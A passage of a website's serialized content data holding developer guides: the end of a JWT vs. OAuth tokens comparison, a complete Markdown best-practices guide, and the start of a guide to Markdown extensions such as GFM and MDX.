applications with a single backend, server-side sessions with cookies are simpler and more secure.",[33,243327,243329],{"id":243328},"mistake-2-putting-everything-in-the-jwt","Mistake 2: Putting Everything in the JWT",[135,243331,243333],{"className":23484,"code":243332,"language":23486,"meta":141,"style":141},"{\n  \"sub\": \"user-42\",\n  \"name\": \"John Doe\",\n  \"email\": \"john@example.com\",\n  \"address\": \"123 Main St\",\n  \"phone\": \"555-0100\",\n  \"permissions\": [\"read\", \"write\", \"delete\", \"admin\"],\n  \"department\": \"Engineering\",\n  \"manager\": \"Jane Smith\"\n}\n",[143,243334,243335,243339,243349,243359,243371,243381,243393,243418,243429,243439],{"__ignoreMap":141},[1560,243336,243337],{"class":1562,"line":1563},[1560,243338,23493],{"class":1570},[1560,243340,243341,243343,243345,243347],{"class":1562,"line":337},[1560,243342,138522],{"class":1576},[1560,243344,1663],{"class":1570},[1560,243346,138527],{"class":5634},[1560,243348,11943],{"class":1570},[1560,243350,243351,243353,243355,243357],{"class":1562,"line":343},[1560,243352,80877],{"class":1576},[1560,243354,1663],{"class":1570},[1560,243356,242244],{"class":5634},[1560,243358,11943],{"class":1570},[1560,243360,243361,243364,243366,243369],{"class":1562,"line":365},[1560,243362,243363],{"class":1576},"  \"email\"",[1560,243365,1663],{"class":1570},[1560,243367,243368],{"class":5634},"\"john@example.com\"",[1560,243370,11943],{"class":1570},[1560,243372,243373,243375,243377,243379],{"class":1562,"line":889},[1560,243374,80888],{"class":1576},[1560,243376,1663],{"class":1570},[1560,243378,81807],{"class":5634},[1560,243380,11943],{"class":1570},[1560,243382,243383,243386,243388,243391],{"class":1562,"line":1710},[1560,243384,243385],{"class":1576},"  \"phone\"",[1560,243387,1663],{"class":1570},[1560,243389,243390],{"class":5634},"\"555-0100\"",[1560,243392,11943],{"class":1570},[1560,243394,243395,243397,243399,243402,243404,243407,243409,243412,243414,243416],{"class":1562,"line":1717},[1560,243396,138556],{"class":1576},[1560,243398,37187],{"class":1570},[1560,243400,243401],{"class":5634},"\"read\"",[1560,243403,1459],{"class":1570},[1560,243405,243406],{"class":5634},"\"write\"",[1560,243408,1459],{"class":1570},[1560,243410,243411],{"class":5634},"\"delete\"",[1560,243413,1459],{"class":1570},[1560,243415,81849],{"class":5634},[1560,243417,12044],{"class":1570},[1560,243419,243420,243422,243424,243427],{"class":1562,"line":1747},[1560,243421,138578],{"class":1576},[1560,243423,1663],{"class":1570},[1560,243425,243426],{"class":5634},"\"Engineering\"",[1560,243428,11943],{"class":1570},[1560,243430,243431,243434,243436],{"class":1562,"line":2507},[1560,243432,243433],{"class":1576},"  \"manager\"",[1560,243435,1663],{"class":1570},[1560,243437,243438],{"class":5634},"\"Jane Smith\"\n",[1560,243440,243441],{"class":1562,"line":2524},[1560,243442,1585],{"class":1570},[16,243444,243445],{},"This token is huge, leaks PII, and cannot be updated without reissuing. Use JWTs for identity — fetch detailed profile data from an API.",[33,243447,243449],{"id":243448},"mistake-3-confusing-oauth-scopes-with-jwt-claims","Mistake 3: Confusing OAuth Scopes with JWT Claims",[16,243451,243452,243453,243455,243456,243459,243460,243463,243464,243467],{},"OAuth scopes define ",[47,243454,78029],{}," the client can do (e.g., ",[143,243457,243458],{},"read:reports","). JWT claims define ",[47,243461,243462],{},"who"," the subject is (e.g., ",[143,243465,243466],{},"sub: user-42","). They complement each other but are not the same thing.",[11,243469,243471],{"id":243470},"decision-framework","Decision Framework",[16,243473,243474],{},"Use this rapid guide to choose:",[193,243476,243477,243486],{},[196,243478,243479],{},[199,243480,243481,243483],{},[202,243482,21080],{},[202,243484,243485],{},"Recommended Token",[211,243487,243488,243496,243504,243512,243520,243528],{},[199,243489,243490,243493],{},[216,243491,243492],{},"Microservices with many services",[216,243494,243495],{},"JWT (short-lived)",[199,243497,243498,243501],{},[216,243499,243500],{},"Single-server web app",[216,243502,243503],{},"Opaque + session",[199,243505,243506,243509],{},[216,243507,243508],{},"Third-party API access",[216,243510,243511],{},"JWT (RS256)",[199,243513,243514,243517],{},[216,243515,243516],{},"Mobile app backend",[216,243518,243519],{},"JWT access + opaque refresh",[199,243521,243522,243525],{},[216,243523,243524],{},"Real-time revocation needed",[216,243526,243527],{},"Opaque tokens",[199,243529,243530,243532],{},[216,243531,242876],{},[216,243533,243534],{},"JWT (Client Credentials)",[11,243536,208883],{"id":161627},[16,243538,243539],{},"JWTs and OAuth tokens answer different questions:",[41,243541,243542,243547],{},[44,243543,243544,243546],{},[47,243545,242048],{}," answers \"how do I encode and verify claims?\"",[44,243548,243549,243552],{},[47,243550,243551],{},"OAuth"," answers \"how do I grant and manage access?\"",[16,243554,243555],{},"In production, the most common and effective pattern combines both: use OAuth 2.0 flows to obtain tokens, issue short-lived JWTs for API access, and use opaque refresh tokens for session management.",[11,243557,321],{"id":320},[41,243559,243560,243564,243568],{},[44,243561,243562],{},[98,243563,241815],{"href":241814},[44,243565,243566],{},[98,243567,242690],{"href":241873},[44,243569,243570],{},[98,243571,243573],{"href":243572},"\u002Fguides\u002F2fa-setup-guide","2FA Setup Guide",[11,243575,286],{"id":285},[16,243577,243578,243579,243581],{},"Decode any JWT to inspect its claims and verify its structure using our free ",[98,243580,91043],{"href":91042},". See what's inside your tokens — all processing happens locally in your browser.",[2043,243583,23838],{},{"title":141,"searchDepth":337,"depth":337,"links":243585},[243586,243587,243588,243589,243594,243598,243602,243606,243607,243612,243613,243614,243615],{"id":242753,"depth":337,"text":242754},{"id":241884,"depth":337,"text":241885},{"id":242831,"depth":337,"text":242832},{"id":242894,"depth":337,"text":242895,"children":243590},[243591,243592,243593],{"id":242901,"depth":343,"text":242902},{"id":242925,"depth":343,"text":242926},{"id":70068,"depth":343,"text":70069},{"id":243026,"depth":337,"text":243027,"children":243595},[243596,243597],{"id":243039,"depth":343,"text":243040},{"id":243069,"depth":343,"text":243070},{"id":243082,"depth":337,"text":243083,"children":243599},[243600,243601],{"id":243093,"depth":343,"text":243040},{"id":243122,"depth":343,"text":243123},{"id":243135,"depth":337,"text":243136,"children":243603},[243604,243605],{"id":243146,"depth":343,"text":243147},{"id":243226,"depth":343,"text":243227},{"id":243242,"depth":337,"text":243243},{"id":2340,"depth":337,"text":2341,"children":243608},[243609,243610,243611],{"id":243321,"depth":343,"text":243322},{"id":243328,"depth":343,"text":243329},{"id":243448,"depth":343,"text":243449},{"id":243470,"depth":337,"text":243471},{"id":161627,"depth":337,"text":208883},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Compare JWT and OAuth tokens. Learn when to use JWTs, opaque tokens, or a combination for authentication and authorization.",{"immutable":363},{"title":242748,"description":243616},"guides\u002Fjwt-vs-oauth-tokens","5mUzOi4EYld4UnVL-LWgeK9rVmjkGfw_K22UBGl1qz8",{"id":243622,"title":243623,"body":243624,"date":235803,"description":244366,"extension":361,"meta":244367,"navigation":363,"path":7537,"readingTime":1710,"seo":244368,"stem":244369,"__hash__":244370},"guides\u002Fguides\u002Fmarkdown-best-practices.md","Markdown Best Practices for Technical Writing",{"type":8,"value":243625,"toc":244348},[243626,243630,243633,243636,243640,243643,243648,243678,243683,243703,243705,243719,243723,243726,243732,243766,243769,243775,243779,243782,243786,243789,243829,243833,243839,243845,243849,243857,243886,243891,243897,243900,243911,243935,243939,243942,243971,243977,243981,243984,244036,244057,244061,244064,244069,244077,244082,244093,244096,244145,244149,244152,244199,244205,244207,244248,244252,244255,244318,244320,244338,244340,244346],[11,243627,243629],{"id":243628},"why-markdown-best-practices-matter","Why Markdown Best Practices Matter",[16,243631,243632],{},"Well-written Markdown is more than formatting — it's a readability contract. Your documents should look clean in raw form, render consistently across tools, and stay maintainable as projects grow. Poor Markdown habits lead to broken renders, confusing diffs, and inaccessible content.",[16,243634,243635],{},"These best practices apply to READMEs, technical docs, blog posts, and any Markdown-based project.",[11,243637,243639],{"id":243638},"use-consistent-heading-hierarchy","Use Consistent Heading Hierarchy",[16,243641,243642],{},"Headings create the document's structure. Skip levels and you break both accessibility and navigation.",[16,243644,243645],{},[47,243646,243647],{},"Follow this pattern:",[135,243649,243651],{"className":34628,"code":243650,"language":34630,"meta":141,"style":141},"# Document Title (H1 — once per file)\n## Section (H2)\n### Subsection (H3)\n### Another Subsection (H3)\n## Next Section (H2)\n",[143,243652,243653,243658,243663,243668,243673],{"__ignoreMap":141},[1560,243654,243655],{"class":1562,"line":1563},[1560,243656,243657],{},"# Document Title (H1 — once per file)\n",[1560,243659,243660],{"class":1562,"line":337},[1560,243661,243662],{},"## Section (H2)\n",[1560,243664,243665],{"class":1562,"line":343},[1560,243666,243667],{},"### Subsection (H3)\n",[1560,243669,243670],{"class":1562,"line":365},[1560,243671,243672],{},"### Another Subsection (H3)\n",[1560,243674,243675],{"class":1562,"line":889},[1560,243676,243677],{},"## Next Section (H2)\n",[16,243679,243680],{},[47,243681,243682],{},"Avoid this:",[135,243684,243686],{"className":34628,"code":243685,"language":34630,"meta":141,"style":141},"# Title\n### Jumped straight to H3\n## Back to H2\n",[143,243687,243688,243693,243698],{"__ignoreMap":141},[1560,243689,243690],{"class":1562,"line":1563},[1560,243691,243692],{},"# Title\n",[1560,243694,243695],{"class":1562,"line":337},[1560,243696,243697],{},"### Jumped straight to H3\n",[1560,243699,243700],{"class":1562,"line":343},[1560,243701,243702],{},"## Back to H2\n",[16,243704,182242],{},[41,243706,243707,243710,243713,243716],{},[44,243708,243709],{},"Use exactly one H1 per document",[44,243711,243712],{},"Never skip heading levels (e.g., H1 → H3)",[44,243714,243715],{},"Keep heading text unique within a document for clean anchor links",[44,243717,243718],{},"Keep headings under 70 characters for readability in navigation and ToC",[11,243720,243722],{"id":243721},"keep-line-length-reasonable","Keep Line Length Reasonable",[16,243724,243725],{},"Long lines make Markdown hard to read in editors and create messy Git diffs.",[16,243727,243728,243731],{},[47,243729,243730],{},"Target:"," 80–120 characters per line for prose.",[135,243733,243735],{"className":34628,"code":243734,"language":34630,"meta":141,"style":141},"\u003C!-- Good: broken at a natural point -->\nMarkdown is a lightweight markup language that you can use\nto add formatting elements to plaintext text documents.\n\n\u003C!-- Bad: one very long line -->\nMarkdown is a lightweight markup language that you can use to add formatting elements to plaintext text documents that you create.\n",[143,243736,243737,243742,243747,243752,243756,243761],{"__ignoreMap":141},[1560,243738,243739],{"class":1562,"line":1563},[1560,243740,243741],{},"\u003C!-- Good: broken at a natural point -->\n",[1560,243743,243744],{"class":1562,"line":337},[1560,243745,243746],{},"Markdown is a lightweight markup language that you can use\n",[1560,243748,243749],{"class":1562,"line":343},[1560,243750,243751],{},"to add formatting elements to plaintext text documents.\n",[1560,243753,243754],{"class":1562,"line":365},[1560,243755,1702],{"emptyLinePlaceholder":363},[1560,243757,243758],{"class":1562,"line":889},[1560,243759,243760],{},"\u003C!-- Bad: one very long line -->\n",[1560,243762,243763],{"class":1562,"line":1710},[1560,243764,243765],{},"Markdown is a lightweight markup language that you can use to add formatting elements to plaintext text documents that you create.\n",[16,243767,243768],{},"For lists and code blocks, line length matters less. Focus on prose paragraphs.",[16,243770,243771,243772,243774],{},"In practice, many teams enforce this with tools like ",[143,243773,147179],{}," or Prettier.",[11,243776,243778],{"id":243777},"mind-your-whitespace","Mind Your Whitespace",[16,243780,243781],{},"Whitespace rules prevent rendering bugs and improve clarity.",[33,243783,243785],{"id":243784},"blank-lines-before-blocks","Blank Lines Before Blocks",[16,243787,243788],{},"Every block element — headings, lists, code blocks, blockquotes — needs a blank line before it.",[135,243790,243792],{"className":34628,"code":243791,"language":34630,"meta":141,"style":141},"\u003C!-- Good -->\nHere is a paragraph.\n\n## Next Section\n\n\u003C!-- Bad — may not render the heading -->\nHere is a paragraph.\n## Next Section\n",[143,243793,243794,243798,243803,243807,243812,243816,243821,243825],{"__ignoreMap":141},[1560,243795,243796],{"class":1562,"line":1563},[1560,243797,152409],{},[1560,243799,243800],{"class":1562,"line":337},[1560,243801,243802],{},"Here is a paragraph.\n",[1560,243804,243805],{"class":1562,"line":343},[1560,243806,1702],{"emptyLinePlaceholder":363},[1560,243808,243809],{"class":1562,"line":365},[1560,243810,243811],{},"## Next Section\n",[1560,243813,243814],{"class":1562,"line":889},[1560,243815,1702],{"emptyLinePlaceholder":363},[1560,243817,243818],{"class":1562,"line":1710},[1560,243819,243820],{},"\u003C!-- Bad — may not render the heading -->\n",[1560,243822,243823],{"class":1562,"line":1717},[1560,243824,243802],{},[1560,243826,243827],{"class":1562,"line":1747},[1560,243828,243811],{},[33,243830,243832],{"id":243831},"no-trailing-whitespace-for-line-breaks","No Trailing Whitespace for Line Breaks",[16,243834,243835,243836,243838],{},"Two trailing spaces create a ",[143,243837,34609],{}," in standard Markdown. This is invisible in most editors and fragile.",[16,243840,243841,243844],{},[47,243842,243843],{},"Prefer:"," blank lines for paragraph separation. Avoid trailing-space line breaks entirely unless your team explicitly agrees on the convention.",[33,243846,243848],{"id":243847},"consistent-indentation","Consistent Indentation",[41,243850,243851,243854],{},[44,243852,243853],{},"Nest list items with consistent indentation (2 or 4 spaces — pick one and stick with it)",[44,243855,243856],{},"Code inside list items must align with the list content",[135,243858,243860],{"className":34628,"code":243859,"language":34630,"meta":141,"style":141},"- First item\n\n  ```javascript\n  \u002F\u002F This code block is indented to align with the list item\n  const x = 1\n",[143,243861,243862,243867,243871,243876,243881],{"__ignoreMap":141},[1560,243863,243864],{"class":1562,"line":1563},[1560,243865,243866],{},"- First item\n",[1560,243868,243869],{"class":1562,"line":337},[1560,243870,1702],{"emptyLinePlaceholder":363},[1560,243872,243873],{"class":1562,"line":343},[1560,243874,243875],{},"  ```javascript\n",[1560,243877,243878],{"class":1562,"line":365},[1560,243879,243880],{},"  \u002F\u002F This code block is indented to align with the list item\n",[1560,243882,243883],{"class":1562,"line":889},[1560,243884,243885],{},"  const x = 1\n",[41,243887,243888],{},[44,243889,243890],{},"Second item",[135,243892,243895],{"className":243893,"code":243894,"language":140},[138],"\n## Write Clear Link Text\n\nLink text should describe where the link goes. Vague labels hurt both usability and SEO.\n\n```markdown\n\u003C!-- Good -->\nRead the [Markdown syntax guide](\u002Fguides\u002Fmarkdown-syntax-guide) for details.\n\n\u003C!-- Bad -->\nClick [here](\u002Fguides\u002Fmarkdown-syntax-guide) for details.\n",[143,243896,243894],{"__ignoreMap":141},[16,243898,243899],{},"Guidelines:",[41,243901,243902,243905,243908],{},[44,243903,243904],{},"Avoid \"click here\" or \"link\" as link text",[44,243906,243907],{},"Keep link text under 60 characters",[44,243909,243910],{},"Use reference-style links for documents with many URLs to keep the prose readable",[135,243912,243914],{"className":34628,"code":243913,"language":34630,"meta":141,"style":141},"Check out the [official spec][spec] and [GitHub's guide][gh].\n\n[spec]: https:\u002F\u002Fdaringfireball.net\u002Fprojects\u002Fmarkdown\u002F\n[gh]: https:\u002F\u002Fdocs.github.com\u002Fen\u002Fget-started\u002Fwriting-on-github\n",[143,243915,243916,243921,243925,243930],{"__ignoreMap":141},[1560,243917,243918],{"class":1562,"line":1563},[1560,243919,243920],{},"Check out the [official spec][spec] and [GitHub's guide][gh].\n",[1560,243922,243923],{"class":1562,"line":337},[1560,243924,1702],{"emptyLinePlaceholder":363},[1560,243926,243927],{"class":1562,"line":343},[1560,243928,243929],{},"[spec]: https:\u002F\u002Fdaringfireball.net\u002Fprojects\u002Fmarkdown\u002F\n",[1560,243931,243932],{"class":1562,"line":365},[1560,243933,243934],{},"[gh]: https:\u002F\u002Fdocs.github.com\u002Fen\u002Fget-started\u002Fwriting-on-github\n",[11,243936,243938],{"id":243937},"provide-meaningful-image-alt-text","Provide Meaningful Image Alt Text",[16,243940,243941],{},"Alt text serves two purposes: accessibility for screen readers and fallback text when images fail to load.",[135,243943,243945],{"className":34628,"code":243944,"language":34630,"meta":141,"style":141},"\u003C!-- Good: descriptive alt text -->\n![Stacked bar chart showing 40% increase in mobile traffic from 2024 to 2026](traffic-chart.png)\n\n\u003C!-- Bad: useless alt text -->\n![Chart](traffic-chart.png)\n",[143,243946,243947,243952,243957,243961,243966],{"__ignoreMap":141},[1560,243948,243949],{"class":1562,"line":1563},[1560,243950,243951],{},"\u003C!-- Good: descriptive alt text -->\n",[1560,243953,243954],{"class":1562,"line":337},[1560,243955,243956],{},"![Stacked bar chart showing 40% increase in mobile traffic from 2024 to 2026](traffic-chart.png)\n",[1560,243958,243959],{"class":1562,"line":343},[1560,243960,1702],{"emptyLinePlaceholder":363},[1560,243962,243963],{"class":1562,"line":365},[1560,243964,243965],{},"\u003C!-- Bad: useless alt text -->\n",[1560,243967,243968],{"class":1562,"line":889},[1560,243969,243970],{},"![Chart](traffic-chart.png)\n",[16,243972,243973,243974,468],{},"Write alt text that conveys the same information the image provides. If the image is purely decorative, use an empty alt: ",[143,243975,243976],{},"![](decorative-line.png)",[11,243978,243980],{"id":243979},"specify-code-language-hints","Specify Code Language Hints",[16,243982,243983],{},"Always add a language identifier to fenced code blocks. This enables syntax highlighting and signals the language to readers.",[135,243985,243987],{"className":34628,"code":243986,"language":34630,"meta":141,"style":141},"\u003C!-- Good -->\n```python\ndef calculate_total(items):\n    return sum(item.price for item in items)\n```\n\n\u003C!-- Bad — no highlighting, harder to read -->\n```\ndef calculate_total(items):\n    return sum(item.price for item in items)\n```\n",[143,243988,243989,243993,243997,244002,244007,244011,244015,244020,244024,244028,244032],{"__ignoreMap":141},[1560,243990,243991],{"class":1562,"line":1563},[1560,243992,152409],{},[1560,243994,243995],{"class":1562,"line":337},[1560,243996,110063],{},[1560,243998,243999],{"class":1562,"line":343},[1560,244000,244001],{},"def calculate_total(items):\n",[1560,244003,244004],{"class":1562,"line":365},[1560,244005,244006],{},"    return sum(item.price for item in items)\n",[1560,244008,244009],{"class":1562,"line":889},[1560,244010,110093],{},[1560,244012,244013],{"class":1562,"line":1710},[1560,244014,1702],{"emptyLinePlaceholder":363},[1560,244016,244017],{"class":1562,"line":1717},[1560,244018,244019],{},"\u003C!-- Bad — no highlighting, harder to read -->\n",[1560,244021,244022],{"class":1562,"line":1747},[1560,244023,110093],{},[1560,244025,244026],{"class":1562,"line":2507},[1560,244027,244001],{},[1560,244029,244030],{"class":1562,"line":2524},[1560,244031,244006],{},[1560,244033,244034],{"class":1562,"line":2529},[1560,244035,110093],{},[16,244037,244038,244039,1459,244041,1459,244043,1459,244045,1459,244047,1459,244049,1459,244051,1459,244053,1459,244055,468],{},"Common identifiers: ",[143,244040,1609],{},[143,244042,17511],{},[143,244044,8261],{},[143,244046,6953],{},[143,244048,23486],{},[143,244050,37229],{},[143,244052,6419],{},[143,244054,1556],{},[143,244056,23601],{},[11,244058,244060],{"id":244059},"use-lists-for-readability","Use Lists for Readability",[16,244062,244063],{},"Lists scan faster than dense paragraphs. Use them strategically.",[16,244065,244066],{},[47,244067,244068],{},"When to use unordered lists:",[41,244070,244071,244074],{},[44,244072,244073],{},"Items have no specific order",[44,244075,244076],{},"Feature lists, checklists, key points",[16,244078,244079],{},[47,244080,244081],{},"When to use ordered lists:",[41,244083,244084,244087,244090],{},[44,244085,244086],{},"Steps in a process",[44,244088,244089],{},"Ranking or priority",[44,244091,244092],{},"Sequential instructions",[16,244094,244095],{},"Keep list items parallel — start each with the same part of speech and structure.",[135,244097,244099],{"className":34628,"code":244098,"language":34630,"meta":141,"style":141},"\u003C!-- Parallel — reads smoothly -->\n- Install the dependencies\n- Configure the environment\n- Run the test suite\n\n\u003C!-- Non-parallel — jarring -->\n- Dependencies should be installed\n- You need to configure the environment\n- The test suite runs next\n",[143,244100,244101,244106,244111,244116,244121,244125,244130,244135,244140],{"__ignoreMap":141},[1560,244102,244103],{"class":1562,"line":1563},[1560,244104,244105],{},"\u003C!-- Parallel — reads smoothly -->\n",[1560,244107,244108],{"class":1562,"line":337},[1560,244109,244110],{},"- Install the dependencies\n",[1560,244112,244113],{"class":1562,"line":343},[1560,244114,244115],{},"- Configure the environment\n",[1560,244117,244118],{"class":1562,"line":365},[1560,244119,244120],{},"- Run the test suite\n",[1560,244122,244123],{"class":1562,"line":889},[1560,244124,1702],{"emptyLinePlaceholder":363},[1560,244126,244127],{"class":1562,"line":1710},[1560,244128,244129],{},"\u003C!-- Non-parallel — jarring -->\n",[1560,244131,244132],{"class":1562,"line":1717},[1560,244133,244134],{},"- Dependencies should be installed\n",[1560,244136,244137],{"class":1562,"line":1747},[1560,244138,244139],{},"- You need to configure the environment\n",[1560,244141,244142],{"class":1562,"line":2507},[1560,244143,244144],{},"- The test suite runs next\n",[11,244146,244148],{"id":244147},"adopt-a-style-guide-and-lint-it","Adopt a Style Guide and Lint It",[16,244150,244151],{},"Consistency at scale requires tooling. These tools catch formatting issues before they reach readers.",[193,244153,244154,244162],{},[196,244155,244156],{},[199,244157,244158,244160],{},[202,244159,751],{},[202,244161,922],{},[211,244163,244164,244173,244180,244190],{},[199,244165,244166,244170],{},[216,244167,244168],{},[143,244169,147179],{},[216,244171,244172],{},"Enforces 40+ style rules (MD001–MD053)",[199,244174,244175,244177],{},[216,244176,28519],{},[216,244178,244179],{},"Auto-formats line length, whitespace, and code blocks",[199,244181,244182,244187],{},[216,244183,244184],{},[143,244185,244186],{},"remark-lint",[216,244188,244189],{},"Pluggable linting for the remark ecosystem",[199,244191,244192,244196],{},[216,244193,244194],{},[143,244195,150367],{},[216,244197,244198],{},"Prose linting for style guide enforcement",[16,244200,244201,244202,244204],{},"Start with ",[143,244203,147179],{}," and add rules incrementally. Disabling rules you disagree with is better than having no rules at all.",[11,244206,7383],{"id":7382},[77,244208,244209,244215,244221,244227,244233,244239],{},[44,244210,244211,244214],{},[47,244212,244213],{},"Inline HTML"," — Markdown renders inside most HTML tags, but mixing the two creates maintenance headaches. Reserve inline HTML for edge cases Markdown cannot handle.",[44,244216,244217,244220],{},[47,244218,244219],{},"Hard tab indentation"," — Tabs render differently across editors. Use spaces (2 or 4) consistently.",[44,244222,244223,244226],{},[47,244224,244225],{},"Nested blockquotes without blank lines"," — Missing blank lines between nested quotes break rendering in some parsers.",[44,244228,244229,244232],{},[47,244230,244231],{},"Images without alt text"," — Fails WCAG accessibility standards and provides no fallback context.",[44,244234,244235,244238],{},[47,244236,244237],{},"Overusing emphasis"," — Bold and italic lose impact when applied to everything. Reserve them for truly important terms.",[44,244240,244241,244244,244245,244247],{},[47,244242,244243],{},"Broken reference links"," — Define every reference link you use. Tools like ",[143,244246,150326],{}," can automate this.",[11,244249,244251],{"id":244250},"formatting-checklist","Formatting Checklist",[16,244253,244254],{},"Before publishing any Markdown document, verify:",[41,244256,244258,244264,244270,244276,244282,244288,244294,244300,244306,244312],{"className":244257},[4464],[44,244259,244261,244263],{"className":244260},[4468],[4470,244262],{"disabled":363,"type":4472}," Only one H1, no heading level skips",[44,244265,244267,244269],{"className":244266},[4468],[4470,244268],{"disabled":363,"type":4472}," Blank lines before and after all block elements",[44,244271,244273,244275],{"className":244272},[4468],[4470,244274],{"disabled":363,"type":4472}," Link text is descriptive, not \"click here\"",[44,244277,244279,244281],{"className":244278},[4468],[4470,244280],{"disabled":363,"type":4472}," Every image has meaningful alt text",[44,244283,244285,244287],{"className":244284},[4468],[4470,244286],{"disabled":363,"type":4472}," All code blocks have language hints",[44,244289,244291,244293],{"className":244290},[4468],[4470,244292],{"disabled":363,"type":4472}," Line length stays under 120 characters in prose",[44,244295,244297,244299],{"className":244296},[4468],[4470,244298],{"disabled":363,"type":4472}," No trailing whitespace for line breaks",[44,244301,244303,244305],{"className":244302},[4468],[4470,244304],{"disabled":363,"type":4472}," List items are parallel in structure",[44,244307,244309,244311],{"className":244308},[4468],[4470,244310],{"disabled":363,"type":4472}," Reference links are defined",[44,244313,244315,244317],{"className":244314},[4468],[4470,244316],{"disabled":363,"type":4472}," The document renders correctly in your target platform",[11,244319,321],{"id":320},[41,244321,244322,244326,244332],{},[44,244323,244324],{},[98,244325,110357],{"href":110356},[44,244327,244328],{},[98,244329,244331],{"href":244330},"\u002Fguides\u002Fmarkdown-extensions-explained","Markdown Extensions Explained",[44,244333,244334],{},[98,244335,244337],{"href":244336},"\u002Fguides\u002Fdesign-prototyping-text","Design Prototyping Text",[11,244339,286],{"id":285},[16,244341,244342,244343,244345],{},"Want to see these best practices in action? Write your Markdown in our free ",[98,244344,148518],{"href":34894}," and instantly preview the rendered output alongside the raw source.",[2043,244347,5093],{},{"title":141,"searchDepth":337,"depth":337,"links":244349},[244350,244351,244352,244353,244358,244359,244360,244361,244362,244363,244364,244365],{"id":243628,"depth":337,"text":243629},{"id":243638,"depth":337,"text":243639},{"id":243721,"depth":337,"text":243722},{"id":243777,"depth":337,"text":243778,"children":244354},[244355,244356,244357],{"id":243784,"depth":343,"text":243785},{"id":243831,"depth":343,"text":243832},{"id":243847,"depth":343,"text":243848},{"id":243937,"depth":337,"text":243938},{"id":243979,"depth":337,"text":243980},{"id":244059,"depth":337,"text":244060},{"id":244147,"depth":337,"text":244148},{"id":7382,"depth":337,"text":7383},{"id":244250,"depth":337,"text":244251},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Improve your Markdown documents with best practices. Learn formatting tips, consistency rules, and common mistakes to avoid.",{"immutable":363},{"title":243623,"description":244366},"guides\u002Fmarkdown-best-practices","cHz3Kr5IbGQbGKL5mdCLmk5JduD4kmlo2M1bUPXz0yM",{"id":244372,"title":244373,"body":244374,"date":235803,"description":245121,"extension":361,"meta":245122,"navigation":363,"path":244330,"readingTime":1710,"seo":245123,"stem":245124,"__hash__":245125},"guides\u002Fguides\u002Fmarkdown-extensions-explained.md","Markdown Extensions: GFM, MDX, and Beyond",{"type":8,"value":244375,"toc":245096},[244376,244380,244383,244386,244390,244393,244395,244401,244431,244443,244445,244448,244473,244476,244478,244481,244490,244497,244499,244502,244511,244517,244519,244529,244533,244536,244540,244579,244583,244609,244613,244673,244676,244680,244683,244687,244690,244699,244703,244706,244724,244728,244805,244808,244811,244814,244847,244850,244854,244857,244944,244947,244951,245046,245050,245053,245087,245093],[11,244377,244379],{"id":244378},"beyond-standard-markdown","Beyond Standard Markdown",[16,244381,244382],{},"Original Markdown, defined by John Gruber in 2004, covers basics: headings, emphasis, links, images, and lists. But modern writing demands more — tables, task lists, math equations, interactive components.",[16,244384,244385],{},"That is where extensions come in. They extend the base syntax while preserving Markdown's core philosophy: readable in raw form, powerful when rendered.",[11,244387,244389],{"id":244388},"github-flavored-markdown-gfm","GitHub Flavored Markdown (GFM)",[16,244391,244392],{},"GFM is the most widely used Markdown extension. GitHub developed it to address gaps in the original spec, and most modern parsers support it by default.",[33,244394,3107],{"id":109784},[16,244396,244397,244398,244400],{},"GFM adds table syntax that renders HTML ",[143,244399,67752],{}," elements:",[135,244402,244404],{"className":34628,"code":244403,"language":34630,"meta":141,"style":141},"| Feature    | GFM | Standard |\n|------------|:---:|:--------:|\n| Tables     | Yes | No       |\n| Task lists | Yes | No       |\n| Strikethrough | Yes | No    |\n",[143,244405,244406,244411,244416,244421,244426],{"__ignoreMap":141},[1560,244407,244408],{"class":1562,"line":1563},[1560,244409,244410],{},"| Feature    | GFM | Standard |\n",[1560,244412,244413],{"class":1562,"line":337},[1560,244414,244415],{},"|------------|:---:|:--------:|\n",[1560,244417,244418],{"class":1562,"line":343},[1560,244419,244420],{},"| Tables     | Yes | No       |\n",[1560,244422,244423],{"class":1562,"line":365},[1560,244424,244425],{},"| Task lists | Yes | No       |\n",[1560,244427,244428],{"class":1562,"line":889},[1560,244429,244430],{},"| Strikethrough | Yes | No    |\n",[16,244432,244433,244434,244436,244437,244439,244440,244442],{},"Alignment colons work exactly as in standard table syntax: ",[143,244435,109858],{}," for left, ",[143,244438,109864],{}," for center, ",[143,244441,109870],{}," for right.",[33,244444,109904],{"id":109903},[16,244446,244447],{},"Checkboxes turn lists into interactive to-do items on GitHub:",[135,244449,244451],{"className":34628,"code":244450,"language":34630,"meta":141,"style":141},"- [x] Set up project structure\n- [x] Write documentation\n- [ ] Deploy to production\n- [ ] Monitor performance\n",[143,244452,244453,244458,244463,244468],{"__ignoreMap":141},[1560,244454,244455],{"class":1562,"line":1563},[1560,244456,244457],{},"- [x] Set up project structure\n",[1560,244459,244460],{"class":1562,"line":337},[1560,244461,244462],{},"- [x] Write documentation\n",[1560,244464,244465],{"class":1562,"line":343},[1560,244466,244467],{},"- [ ] Deploy to production\n",[1560,244469,244470],{"class":1562,"line":365},[1560,244471,244472],{},"- [ ] Monitor performance\n",[16,244474,244475],{},"On GitHub, these render as clickable checkboxes. In static sites, they typically render as checked or unchecked icons.",[33,244477,34693],{"id":109972},[16,244479,244480],{},"Use double tildes for deleted text:",[135,244482,244484],{"className":34628,"code":244483,"language":34630,"meta":141,"style":141},"This is ~~outdated~~ current information.\n",[143,244485,244486],{"__ignoreMap":141},[1560,244487,244488],{"class":1562,"line":1563},[1560,244489,244483],{},[16,244491,244492,244493,244496],{},"Renders as: This is ",[109989,244494,244495],{},"outdated"," current information.",[33,244498,34708],{"id":110009},[16,244500,244501],{},"GFM automatically converts URLs into clickable links without angle brackets:",[135,244503,244505],{"className":34628,"code":244504,"language":34630,"meta":141,"style":141},"Visit https:\u002F\u002Fgithub.com for more details.\n",[143,244506,244507],{"__ignoreMap":141},[1560,244508,244509],{"class":1562,"line":1563},[1560,244510,244504],{},[16,244512,244513,244514,244516],{},"Standard Markdown requires ",[143,244515,110033],{}," for autolinking. GFM removes that necessity.",[33,244518,110181],{"id":110180},[16,244520,244521,244522,1459,244524,1466,244526,244528],{},"GFM sanitizes certain HTML tags for security. Tags like ",[143,244523,34727],{},[143,244525,12666],{},[143,244527,41299],{}," are stripped from output. This prevents XSS attacks in user-generated content.",[11,244530,244532],{"id":244531},"mdx-jsx-in-markdown","MDX: JSX in Markdown",[16,244534,244535],{},"MDX lets you write JSX components directly inside Markdown. It bridges the gap between prose content and interactive UI 